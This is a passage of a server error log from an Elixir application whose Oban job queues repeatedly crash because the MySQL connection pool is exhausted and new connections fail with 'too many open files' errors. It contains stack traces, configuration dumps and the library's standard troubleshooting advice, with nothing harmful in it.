#Reference<0.2525715032.1099431938.45659>, refresh_timer: #Reference<0.2525715032.1099431938.45625>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:05:56.240694Z], limit: 3, uuid: "ba479987-ca6d-4000-a22d-32c2814baf43", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:56.240699Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45554>, refresh_timer: #Reference<0.2525715032.1121189889.157539>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:08.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:05:56.241564Z], limit: 50, uuid: "2e0d4f23-ebb9-468d-bad8-717bfc79f641", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:05:56.241570Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45556>, refresh_timer: #Reference<0.2525715032.1099431938.45649>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:09.688000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:10.474000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:11.027000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:12.789000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:13.314000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:13.555000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:06:08.240279Z], limit: 10, uuid: "15359d7c-56f8-4678-a9ff-d0030d3467a5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:08.240298Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.45807>, refresh_timer: #Reference<0.2525715032.1077673987.21561>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 828ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:06:08.239290Z], limit: 5, uuid: "eb5e65a3-d0ca-4f5c-a537-458cb9e581ab", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:08.239296Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.45805>, refresh_timer: #Reference<0.2525715032.1099431938.45784>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:06:08.240506Z], limit: 3, uuid: "4f051ec6-d204-4352-8502-3559d0eccc10", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:08.240511Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.45808>, refresh_timer: #Reference<0.2525715032.1121189889.157799>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:06:08.241700Z], limit: 50, uuid: "bfa41cb5-2595-47c7-8917-6ad913b6472d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:08.241705Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.45756>, refresh_timer: #Reference<0.2525715032.1121189889.157810>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:06:08.238346Z], limit: 20, uuid: "3b031962-5066-4681-ae9f-7974eca7ea0b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:08.238352Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.45804>, refresh_timer: #Reference<0.2525715032.1099431938.45771>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:06:08.239138Z], limit: 5, uuid: "6c998e7d-d054-4d53-9938-f1e0b2358535", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:06:08.239145Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.45806>, refresh_timer: #Reference<0.2525715032.1099431938.45780>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:06:20.614000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:21.043000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:23.769000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:23.826000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1211.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sun Sep  6 00:06:25.072000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:25.372000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:27.596000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:31.165000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:06:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
